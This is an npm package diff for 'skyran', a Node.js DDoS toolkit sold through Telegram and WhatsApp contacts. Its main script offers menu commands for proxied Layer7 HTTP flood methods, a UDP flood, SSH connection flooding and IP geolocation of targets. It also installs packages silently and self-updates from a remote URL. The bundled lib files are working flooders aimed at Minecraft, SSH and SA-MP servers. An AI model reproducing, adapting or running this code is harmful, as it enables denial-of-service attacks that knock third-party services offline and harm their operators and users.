skyran 1.0.0

package/index.js

@@ -0,0 +1,453 @@
+#!/usr/bin/env node
+
+const { exec, spawn  } = require('child_process')
+const readline = require('readline')
+const url = require('url')
+const fs = require('fs')
+const axios = require('axios')
+const path = require('path')
+const version = '5.1.7'
+let processList = [];
+
+const permen = readline.createInterface({
+  input: process.stdin,
+  output: process.stdout
+})
+// [========================================] //
+function sleep(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+// [========================================] //
+async function banner() {
+  console.clear();
+  const text = '[ SkyranX-Mods Tools Ddos ]';
+  const text1 = 'WELCOME BACK TO TOOLS DDOS SKYRANXMODS';
+  const text2 = 'TYPE "HELP" FOR SHOWING ALL AVAILABLE COMMAND';
+  const text3 = 'Layer7 X Layer4';
+  
+  const terminalWidth = process.stdout.columns;
+  
+  const centeredText = text.padStart((terminalWidth + text.length) / 2);
+  const centeredText1 = text1.padStart((terminalWidth + text1.length) / 2);
+  const centeredText2 = text2.padStart((terminalWidth + text2.length) / 2);
+  const centeredText3 = text3.padStart((terminalWidth + text3.length) / 2);
+
+  console.log(`
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
+⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
+⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator   : Skyran\x1b[0m ]
+⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip       : true\x1b[0m ]
+⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀   [ \x1b[1m\x1b[36mPremium   : true\x1b[0m ]
+⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram  : t.me/SkyR4n\x1b[0m ]
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp  : 0857-8063-7142\x1b[0m ]
+⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
+-----------------------------------------------------------------
+\x1b[1m\x1b[36m${centeredText3}\x1b[0m
+\x1b[1m\x1b[36m${centeredText}\x1b[0m
+\x1b[1m\x1b[36m${centeredText1}\x1b[0m
+\x1b[1m\x1b[36m${centeredText2}\x1b[0m`);
+}
+// [========================================] //
+
+async function scrapeProxy() {
+  try {
+    const response = await fetch('https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt');
+    const data = await response.text();
+    fs.writeFileSync('proxy.txt', data, 'utf-8');
+  } catch (error) {
+    console.error(`Error fetching data: ${error.message}`);
+  }
+}
+// [========================================] //
+async function scrapeUserAgent() {
+  try {
+    const response = await fetch('https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt');
+    const data = await response.text();
+    fs.writeFileSync('ua.txt', data, 'utf-8');
+  } catch (error) {
+    console.error(`Error fetching data: ${error.message}`);
+  }
+}
+// [========================================] //
+function clearProxy() {
+  if (fs.existsSync('proxy.txt')) {
+    fs.unlinkSync('proxy.txt');
+  }
+}
+// [========================================] //
+function clearUserAgent() {
+  if (fs.existsSync('ua.txt')) {
+    fs.unlinkSync('ua.txt');
+  }
+}
+// [========================================] //
+async function bootup() {
+  try {
+    console.log(`Loading, please wait...`);
+    
+    await exec(`npm i axios tls http2 hpack net cluster crypto ssh2 dgram @whiskeysockets/baileys libphonenumber-js chalk gradient-string pino mineflayer proxy-agent`);
+    
+    const getLatestVersion = await fetch('https://raw.githubusercontent.com/permenmd/cache/main/version.txt');
+    const latestVersion = await getLatestVersion.text();
+    
+    if (version === latestVersion.trim()) {
+      await scrapeProxy();
+      await scrapeUserAgent();
+      await sleep(700);
+      console.clear();
+      await sleep(1000);
+      await banner();
+      sigma();
+    } else {
+      await exec(`npm uninstall -g prmnmd-tuls`);
+      await exec(`npm i -g prmnmd-tuls`);
+      process.exit();
+    }
+  } catch (error) {
+    // Handle error silently or with custom error handling logic.
+  }
+}
+// [========================================] //
+async function trackIP(args) {
+  if (args.length < 1) {
+    console.log(`Example: TRACK-IP <ip address>
+TRACK-IP 1.1.1.1`);
+    sigma();
+	return
+  }
+const [target] = args
+  if (target === '0.0.0.0') {
+  console.log(`Jangan Di Ulangi Manis Nanti Di Delete User Mu`)
+	sigma()
+  } else {
+    try {
+const apiKey = '8fd0a436e74f44a7a3f94edcdd71c696';
+const response = await fetch(`https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${target}`);
+const res = await fetch(`https://ipwho.is/${target}`);
+const additionalInfo = await res.json();
+const ipInfo = await response.json();
+
+    console.clear()
+    console.log(`⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
+⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
+⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator   : Skyran\x1b[0m ]
+⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip       : true\x1b[0m ]
+⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀   [ \x1b[1m\x1b[36mPremium   : true\x1b[0m ]
+⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram  : t.me/SkyR4n\x1b[0m ]
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp  : 0857-8063-7142\x1b[0m ]
+⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
+
+KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
+-----------------------------------------------------------------
+ - Flags: ${ipInfo.country_flag}
+ - Country: ${ipInfo.country_name}
+ - Capital: ${ipInfo.country_capital}
+ - City: ${ipInfo.city}
+ - ISP: ${ipInfo.isp}
+ - Organization: ${ipInfo.organization}
+ - lat: ${ipInfo.latitude}
+ - long: ${ipInfo.longitude}`)
+    sigma()
+  } catch (error) {
+      console.log(`Error Tracking ${target}`)
+      sigma()
+    }
+    }
+};
+// [========================================] //
+async function pushOngoing(target, methods, duration) {
+  const startTime = Date.now();
+  processList.push({ target, methods, startTime, duration })
+  setTimeout(() => {
+    const index = processList.findIndex((p) => p.methods === methods);
+    if (index !== -1) {
+      processList.splice(index, 1);
+    }
+  }, duration * 1000);
+}
+// [========================================] //
+function ongoingAttack() {
+  console.log("\nOngoing Attack:\n");
+  processList.forEach((process) => {
+console.log(`Target: ${process.target}
+Methods: ${process.methods}
+Duration: ${process.duration} Seconds
+Since: ${Math.floor((Date.now() - process.startTime) / 1000)} seconds ago\n`);
+  });
+}
+// [========================================] //
+async function handleAttackCommand(args) {
+  if (args.length < 3) {
+    console.log(`Example: ATTACK <target> <duration> <methods>
+ATTACK https://google.com 120 FLOOD`);
+    sigma();
+	return
+  }
+const [target, duration, methods] = args
+try {
+const parsing = new url.URL(target)
+const hostname = parsing.hostname
+const scrape = await axios.get(`http://ip-api.com/json/${hostname}?fields=isp,query,as`)
+const result = scrape.data;
+
+console.clear()
+console.log(`
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
+⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
+⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator   : Skyran\x1b[0m ]
+⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip       : true\x1b[0m ]
+⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀   [ \x1b[1m\x1b[36mPremium   : true\x1b[0m ]
+⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram  : t.me/SkyR4n\x1b[0m ]
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp  : 0857-8063-7142\x1b[0m ]
+⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
+
+KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
+-----------------------------------------------------------------
+Target   : ${target}
+Duration : ${duration}
+Methods  : ${methods}
+ISP      : ${result.isp}
+Ip       : ${result.query}
+AS       : ${result.as}
+`)
+} catch (error) {
+  console.log(`Oops Something Went wrong`)
+}
+const metode = path.join(__dirname, `/lib/cache/${methods}`);
+  if (methods === 'FLOOD') {
+   pushOngoing(target, methods, duration)
+   exec(`node ${metode} ${target} ${duration}`)
+	sigma()
+  } else if (methods === 'TLS') {
+    pushOngoing(target, methods, duration)
+     exec(`node ${metode} ${target} ${duration} 100 10`)
+    sigma()
+    } else if (methods === 'STRIKE') {
+      pushOngoing(target, methods, duration)
+       exec(`node ${metode} GET ${target} ${duration} 10 90 proxy.txt --full`)
+      sigma()
+      } else if (methods === 'KILL') {
+       pushOngoing(target, methods, duration)
+        exec(`node ${metode} ${target} ${duration} 100 10`)
+        sigma()
+        } else if (methods === 'BYPASS') {
+       pushOngoing(target, methods, duration)
+        exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
+          sigma()
+          } else if (methods === 'RAW') {
+       pushOngoing(target, methods, duration)
+        exec(`node ${metode} ${target} ${duration}`)
+          sigma()
+          } else if (methods === 'THUNDER') {
+       pushOngoing(target, methods, duration)
+        exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
+          sigma()
+          } else if (methods === 'RAPE') {
+       pushOngoing(target, methods, duration)
+        exec(`node ${metode} ${duration} 10 proxy.txt 70 ${target}`)
+          sigma()
+          } else if (methods === 'STORM') {
+       pushOngoing(target, methods, duration)
+        exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
+          sigma()
+          } else if (methods === 'DESTROY') {
+       pushOngoing(target, methods, duration)
+        exec(`node ${metode} ${target} ${duration} 100 10 proxy.txt`)
+          sigma()
+          } else if (methods === 'SLIM') {
+       pushOngoing(target, methods, duration)
+const destroy = path.join(__dirname, `/lib/cache/destroy`);
+const storm = path.join(__dirname, `/lib/cache/storm`);
+const rape = path.join(__dirname, `/lib/cache/rape`);
+        exec(`node ${destroy} ${target} ${duration} 100 1 proxy.txt`)
+        exec(`node ${storm} ${target} ${duration} 100 1 proxy.txt`)
+        exec(`node ${rape} ${duration} 1 proxy.txt 70 ${target}`)
+          sigma()
+          } else {
+    console.log(`Method ${methods} not recognized.`);
+  }
+};
+// [========================================] //
+async function killSSH(args) {
+  if (args.length < 2) {
+    console.log(`Example: KILL-SSH <target> <duration>
+kill-ssh 123.456.789.10 120`);
+    sigma();
+	return
+  }
+const [target, duration] = args
+try {
+const scrape = await axios.get(`http://ip-api.com/json/${target}?fields=isp,query,as`)
+const result = scrape.data;
+
+console.clear()
+console.log(`
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
+⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
+⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator   : Skyran\x1b[0m ]
+⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip       : true\x1b[0m ]
+⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀   [ \x1b[1m\x1b[36mPremium   : true\x1b[0m ]
+⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram  : t.me/SkyR4n\x1b[0m ]
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp  : 0857-8063-7142\x1b[0m ]
+⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
+
+KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
+-----------------------------------------------------------------
+Target   : ${target}
+Duration : ${duration}
+ISP      : ${result.isp}
+Ip       : ${result.query}
+AS       : ${result.as}
+`)
+} catch (error) {
+  console.log(`Oops Something Went Wrong`)
+}
+
+const metode = path.join(__dirname, `/lib/cache/StarsXSSH`);
+exec(`node ${metode} ${target} 22 root ${duration}`)
+sigma()
+};
+// [========================================] //
+async function udp_flood(args) {
+  if (args.length < 3) {
+    console.log(`Example: UDP-RAW <target> <port> <duration>
+udp-raw 123.456.78.910 22 300`);
+    sigma();
+	return
+  }
+const [target, port, duration] = args
+try {
+console.clear()
+console.log(`
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⣀⡴⢧⣀⠀⠀⣀⣠⠤⠤⠤⠤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠘⠏⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⠈⠙⠦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢶⣶⣒⣶⠦⣤⣀⠀⠀
+⠀⠀⠀⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣟⠲⡌⠙⢦⠈⢧⠀
+⠀⠀⠀⣠⢴⡾⢟⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡴⢃⡠⠋⣠⠋ [ \x1b[1m\x1b[36mCreator   : Skyran\x1b[0m ]
+⠐⠀⠞⣱⠋⢰⠁⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⢖⣋⡥⢖⣫⠔⠋ ⠀ [ \x1b[1m\x1b[36mVip       : true\x1b[0m ]
+⠈⠠⡀⠹⢤⣈⣙⠚⠶⠤⠤⠤⠴⠶⣒⣒⣚⣩⠭⢵⣒⣻⠭⢖⠏⠁⢀⣀⠀   [ \x1b[1m\x1b[36mPremium   : true\x1b[0m ]
+⠠⠀⠈⠓⠒⠦⠭⠭⠭⣭⠭⠭⠭⠭⠿⠓⠒⠛⠉⠉⠀⠀⣠⠏⠀⠀⠘⠞⠀⠀ ⠀[ \x1b[1m\x1b[36mTelegram  : t.me/SkyR4n\x1b[0m ]
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠓⢤⣀⠀⠀⠀⠀⠀⠀⣀⡤⠞⠁⠀⣰⣆⠀⠀⠀ ⠀⠀[ \x1b[1m\x1b[36mWhatsApp  : 0857-8063-7142\x1b[0m ]
+⠀⠀⠀⠀⠀⠘⠿⠀⠀⠀⠀⠀⠈⠉⠙⠒⠒⠛⠉⠁⠀⠀⠀⠉⢳⡞⠉⠀⠀ ⠀ [ \x1b[1m\x1b[36mTimeLimit : 99999\x1b[0m ]
+
+KETIK \x1b[1m\x1b[36m"CLS"\x1b[0m UNTUK KEMBALI KE MENU AWAL
+-----------------------------------------------------------------
+Target   : ${target}
+Duration : ${duration}
+Methods  : UDP Raw
+Creator  : SkyranXMods`)
+} catch (error) {
+  console.log(`Oops Something Went Wrong`)
+}
+
+const metode = path.join(__dirname, `/lib/cache/udp`);
+exec(`node ${metode} ${target} ${port} ${duration}`)
+sigma()
+};
+// [========================================] //
+async function sigma() {
+const getNews = await fetch(`https://raw.githubusercontent.com/permenmd/cache/main/news.txt`)
+const latestNews = await getNews.text();
+const creatorCredits = `
+Created And Coded Full SkyranXMods
+
+Thanks you 
+- Allah
+- Orang Tua
+- ChatGpt
+- Buyer
+`
+permen.question('[ \x1b[1m\x1b[36mSkyranXMods\x1b[0m ] : ', (input) => {
+  const [command, ...args] = input.trim().split(/\s+/);
+
+  if (command === 'HELP') {
+    console.log(`Home         | Description
+-----------------------------------------------------------------
+METHODS      | SHOW LIST METHODS
+ATTACK       | START DDOS
+KILL-SSH     | KILL VPS ACCES
+UDP-RAW      | LAUNCH UDP FLOOR ATTACK
+ONGOING      | SHOW ONGOING ATTACK
+CREADITS     | SHOW CREATOR OF THESE TOOLS
+CLS          | CLEAR TERMINAL
+`);
+    sigma();
+  } else if (command === 'METHODS') {
+    console.log(`Methods    | Description                                   | sts
+-----------------------------------------------------------------
+FLOOD      | Layer7 - Vip Attack Url                       | on
+TLS        | Layer7 - Vip Attack Url                       | on
+STRIKE     | Layer7 - Vip Attack Url                       | on
+KILL       | Layer7 - Vip Attack Url                       | on
+RAW        | Layer7 - Vip Attack Url                       | on
+BYPASS     | Layer7 - Vip Attack Url                       | on
+THUNDER    | Layer7 - Vip Attack Url                       | on
+STORM      | Layer7 - Vip Attack Url                       | on
+RAPE       | Layer7 - Vip Attack Url                       | on
+DESTROY    | Layer7 - Vip Attack Url                       | on
+SLIM       | Layer7 - Vip Attack Url                       | on
+`);
+    sigma();
+  } else if (command === 'news') {
+    console.log(`
+${latestNews}`);
+    sigma();
+  } else if (command === 'CREADITS') {
+    console.log(`
+${creatorCredits}`);
+    sigma();
+  } else if (command === 'ATTACK') {
+    handleAttackCommand(args);
+  } else if (command === 'KILL-SSH') {
+    killSSH(args);
+  } else if (command === 'UDP-RAW') {
+    udp_flood(args);
+  } else if (command === 'TRACK-IP') {
+    trackIP(args);
+  } else if (command === 'ONGOING') {
+    ongoingAttack()
+    sigma()
+  } else if (command === 'CLS') {
+    banner()
+    sigma()
+    } else {
+    console.log(`${command} NOT FOUND`);
+    sigma();
+  }
+});
+}
+// [========================================] //
+function clearall() {
+  clearProxy()
+  clearUserAgent()
+}
+// [========================================] //
+process.on('exit', clearall);
+process.on('SIGINT', () => {
+  clearall()
+  process.exit();
+});
+process.on('SIGTERM', () => {
+clearall()
+ process.exit();
+});
+
+bootup()

package/lib/cache/StarsXMc.js

@@ -0,0 +1,104 @@
+const mineflayer = require('mineflayer');
+const ProxyAgent = require('proxy-agent');
+const fs = require('fs');
+const net = require('net');
+
+const proxyFile = 'proxy.txt';
+const serverHost = process.argv[2];
+const serverPort = process.argv[3];
+const botCount = 100;
+const timeout = 250;
+const floodDuration = process.argv[4] * 1000;
+const threads = botCount;
+
+function loadProxies() {
+  return fs.readFileSync(proxyFile, 'utf-8').split('\n').filter(Boolean);
+}
+
+async function checkProxy(proxy) {
+  const [host, port] = proxy.split(':');
+  return new Promise((resolve) => {
+    const socket = new net.Socket();
+    socket.setTimeout(timeout);
+
+    socket.on('connect', () => {
+      socket.destroy();
+      resolve(proxy);
+    });
+
+    socket.on('timeout', () => {
+      socket.destroy();
+      resolve(null);
+    });
+
+    socket.on('error', () => {
+      socket.destroy();
+      resolve(null);
+    });
+
+    socket.connect(port, host);
+  });
+}
+
+function createBot(index, proxy) {
+  const bot = mineflayer.createBot({
+    host: serverHost,
+    port: serverPort,
+    username: `PermenMD_${index}`,
+    agent: new ProxyAgent(`socks5://${proxy}`)
+  });
+
+  bot.on('login', () => {
+    console.log(`Bot${index} has logged in`);
+    bot.chat('Hey');
+  });
+
+  bot.on('chat', (username, message) => {
+    if (message === 'Hey') {
+      console.log(`Bot${index} sent message, disconnecting...`);
+      bot.quit();
+    }
+  });
+
+  bot.on('error', (err) => {
+    if (!['ETIMEDOUT', 'ECONNRESET', 'ECONNREFUSED'].includes(err.code)) {
+      console.log(`Bot${index} encountered an error: ${err}`);
+    }
+  });
+
+  bot.on('end', () => {
+    console.log(`Bot${index} has disconnected`);
+  });
+}
+
+async function runBots() {
+  const proxies = loadProxies();
+  const validProxies = [];
+
+  for (const proxy of proxies) {
+    const validProxy = await checkProxy(proxy);
+    if (validProxy) validProxies.push(validProxy);
+    if (validProxies.length >= botCount) break;
+  }
+
+  if (validProxies.length < botCount) {
+    console.log('Not enough valid proxies found.');
+    return;
+  }
+
+  const startTime = Date.now();
+
+  for (let i = 0; i < threads; i++) {
+    (function floodThread() {
+      if (Date.now() - startTime < floodDuration) {
+        createBot(i + 1, validProxies[i]);
+
+        setTimeout(floodThread, 100); // Delay to avoid immediate reconnections
+      }
+    })();
+  }
+
+  console.log('Flooding initiated.');
+}
+
+runBots();

package/lib/cache/StarsXSSH.js

@@ -0,0 +1,36 @@
+const { Client } = require('ssh2');
+
+const floodSSHServer = (hostname, port, username, duration) => {
+    const startTime = Date.now();
+    const interval = setInterval(() => {
+        if (Date.now() - startTime > duration) {
+            clearInterval(interval);
+            return;
+        }
+
+        for (let i = 0; i < 1; i++) {
+            const password = 'PermenMD_Here'
+            const conn = new Client();
+
+            conn.on('error', (err) => {
+                conn.end();
+
+            }).connect({
+                host: hostname,
+                port: port,
+                username: username,
+                password: password
+
+            });
+
+        }
+
+    }, 1);
+}
+const host = process.argv[2];
+const port = process.argv[3];
+const user = process.argv[4];
+const duration = process.argv[5] * 1000;
+
+console.log(`${duration}`)
+floodSSHServer(host, port, user, duration)

package/lib/cache/StarsXSamp.js

@@ -0,0 +1,67 @@
+const { Worker, isMainThread, parentPort, workerData } = require('worker_threads');
+const net = require('net');
+
+const serverHost = process.argv[2];
+const serverPort = process.argv[3];
+const botCount = 100;
+const floodDuration = process.argv[4] * 1000;
+const botScript = __filename;
+
+function createConnection(index) {
+  const client = new net.Socket();
+
+  client.connect(serverPort, serverHost, () => {
+    parentPort.postMessage(`Bot${index} connected`);
+      for (let h = 0; h < 500; h++) {
+    client.write('GET / HTTP/1.1\r\nHost: ' + serverHost + '\r\n\r\n')
+      }
+  });
+
+  client.on('close', () => {
+    parentPort.postMessage(`Bot${index} disconnected`);
+  });
+
+  client.on('error', (err) => {
+    parentPort.postMessage(`Bot${index} encountered an error: ${err.message}`);
+  });
+}
+
+function runFlood() {
+  const startTime = Date.now();
+  let activeConnections = 0;
+
+  // Create workers to flood the server as fast as possible
+  while (Date.now() - startTime < floodDuration) {
+    if (activeConnections < botCount) {
+      const worker = new Worker(botScript, {
+        workerData: { index: activeConnections + 1 }
+      });
+
+      activeConnections++;
+
+      worker.on('message', (message) => {
+        console.log(message);
+      });
+
+      worker.on('error', (err) => {
+        console.error(`Worker ${activeConnections} encountered an error:`, err);
+      });
+
+      worker.on('exit', (code) => {
+        if (code !== 0) {
+          console.error(`Worker ${activeConnections} stopped with exit code ${code}`);
+        }
+        activeConnections--;
+      });
+    }
+  }
+
